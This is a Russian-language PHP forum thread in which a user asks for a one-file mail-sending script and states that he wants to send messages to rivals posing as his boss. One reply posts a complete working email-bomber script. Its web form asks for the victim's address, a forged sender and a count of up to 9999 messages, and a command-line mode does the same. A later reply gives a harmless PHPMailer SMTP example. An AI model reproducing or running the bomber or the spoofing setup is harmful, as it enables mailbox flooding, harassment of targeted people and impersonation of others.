Пхп мейлер

Discussion in 'PHP' started by F0xTr0t, 27 Sep 2010.

  1. F0xTr0t

    F0xTr0t New Member

    Joined:
    30 Jun 2010
    Messages:
    52
    Likes Received:
    2
    Reputations:
    0
    Здравствуйте, подскажите есть скрипт какой путевый на пхп для отправки почты, чтото вроде smtp-pop3 сервера, но маленького в один файл. Зашел на хтмл страницу, заполнил поля и отправил.
     
  2. TheLuckyOne

    TheLuckyOne New Member

    Joined:
    9 Sep 2010
    Messages:
    30
    Likes Received:
    0
    Reputations:
    0
    /thread65761.html

    Тут смотри
     
  3. Mr.Snuffer

    Mr.Snuffer Member

    Joined:
    2 Jul 2010
    Messages:
    140
    Likes Received:
    13
    Reputations:
    0
    ТС а mail() чем не утраивает?
    Зачем именно по протоколам?
     
  4. TheLuckyOne

    TheLuckyOne New Member

    Joined:
    9 Sep 2010
    Messages:
    30
    Likes Received:
    0
    Reputations:
    0
    Code:
    <?php   
    
    class Bomb {   
    
    function cli() {   
      if(!defined("STDIN")) {   
          define("STDIN", fopen('php://stdin','r'));   
      }   
    
      print "Please enter the Target email Address : ";   
      $target = fread(STDIN, 80);   
      print "From = $target\n";   
    
      print "Please enter the from email Address :";   
      $from = fread(STDIN, 80);   
      print "From : $from\n";   
    
    
      print "Please enter your message to the target(800 chr) :";   
      $message = fread(STDIN, 800);   
      print "Your message is :\n";   
      print "$message";   
    
      print "Please enter a subject :";   
      $subject = fread(STDIN, 80);   
      print "Subject : $subject\n";   
    
      print "Please enter the Number of times to bomb(1-9999) :";   
      $times = fread(STDIN, 4);   
      print "Times : $times\n";   
    
          $this->send($target,$subject,$message,$from,$times);   
    }   
    
    function html() {   
      error_reporting(0);   
          $target = $_POST['target'];   
          $subject = $_POST['subject'];   
          $message = $_POST['message'];   
          $from = $_POST['from'];   
          $times = $_POST['times'];   
    print "   
    <html>   
    <head><title>Спамилка  мыл</title>   
    <style>   
    body {   
    background-color: #350000;   
    color:#99ff32;   
    font-size: 15px;   
    }   
    
    input {   
    background-color: #222222;   
    border: 1px solid #FFFFFF;   
    color:#76defc;   
    }   
    a {   
    color: #FFFFFF;   
    }   
    </style>   
    <body>   
    <center>   
    <form action='' method='POST'>   
    E-mail Жертвы :<br /> <INPUT NAME='target' TYPE='text'><BR>   
    Текст сообщения : <br /><INPUT NAME='message' TYPE='text'><BR>   
    Тема : <br /><INPUT NAME='subject' TYPE='text'><BR>   
    От кого : <br /><INPUT NAME='from' TYPE='text'><BR>   
    Кол-во писем (1-9999) : <br /><INPUT NAME='times' TYPE='text'><BR>   
    <input type='submit' value='Спамить нах!'>   
    </center>   
    </body>   
    </html>   
    ";   
    
      $this->send($target,$subject,$message,$from,$times);   
    }   
    
    
    
    function send($target,$subject,$message,$from,$times) {   
      $headers = "From: " . $from;    
      $i = 1;    
      while($i <= $times) {    
          mail($target, $subject, $message, $headers);    
          print "$i sent ";    
          $i++;    
          }   
      }   
    }   
    
    
    $bomb = new Bomb;   
    $bomb->html(); // For HTML version   
    #$bomb->cli(); // For CLI version   
    
    
    ?>
    
    Лень для формочку для mail() писать. Перепиши это)
    А вообще шучу конечно. Я уверен что тебе просто нужна функция mail().
    Почитай про неё
     
  5. Mr.Snuffer

    Mr.Snuffer Member

    Joined:
    2 Jul 2010
    Messages:
    140
    Likes Received:
    13
    Reputations:
    0
    Ай, или тебе типа мини почтовика своего надо?
     
  6. F0xTr0t

    F0xTr0t New Member

    Joined:
    30 Jun 2010
    Messages:
    52
    Likes Received:
    2
    Reputations:
    0
    TheLuckyOne
    ну впринципе ничего скриптец, уточняющий вопрос, ф-ция mail() требует наличие на машине сендмейла или прочих почтовых демонов или сама по себе, так сказать, главное что бы пхп был установлен, мне что бы автономно все без демонов или все функции отправки писем юзают smtp демонов.

    Mr.Snuffer
    да нужен мини почтовик, поставил в локалке на любую тачку, пхп прикрутил и отсылаешь неприятелям письма от имени начальника))
     
    #6 F0xTr0t, 27 Sep 2010
    Last edited: 27 Sep 2010
  7. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    1) mail() требует sendmail
    2)
    PHP:
    <?php
    include("class.phpmailer.php");
    $mail = new PHPMailer();
    $mail->IsSMTP();
    $mail->SMTPAuth   true// enable SMTP authentication
    $mail->SMTPSecure "ssl"// use ssl
    $mail->Host "smtp.gmail.com"// GMAIL's SMTP server
    $mail->Port  465// SMTP port used by GMAIL server
    $mail->Username   "your_gmail_account@gmail.com"// GMAIL username
    $mail->Password   "password"// GMAIL password
    $mail->AddReplyTo("other_email@hotmail.com","FirstName LastName"); // Reply email address
    $mail->From "your_gmail_account@gmail.com";
    $mail->FromName "FirstName LastName"// Name to appear once the email is sent
    $mail->Subject "Subject of the email"// Email's subject
    //$mail->Body = "Hello World,<br />This is the HTML BODY<br />"; //HTML Body
    $mail->AltBody "This is a test email"// optional, comment out and test
    $mail->WordWrap 50// set word wrap
    $mail->MsgHTML($body); // [optional] Send body email as HTML
    $mail->AddAddress("example@yahoo.com""First Last");  // email address of recipient
    //$mail->AddAttachment("files/files.zip"); // [optional] attachment
    $mail->IsHTML(true); // [optional] send as HTML
    if(!$mail->Send())
    echo 
    "Mailer Error: " $mail->ErrorInfo;
    else
    echo 
    "Message sent!";
    Требует наличия SMTP
     
  8. F0xTr0t

    F0xTr0t New Member

    Joined:
    30 Jun 2010
    Messages:
    52
    Likes Received:
    2
    Reputations:
    0
    Isis
    Благодарствую, тоесть нет в принципе возможности написать на пхп скрипт без использования мейловых демонов, не зависимый от них или все таки возможно?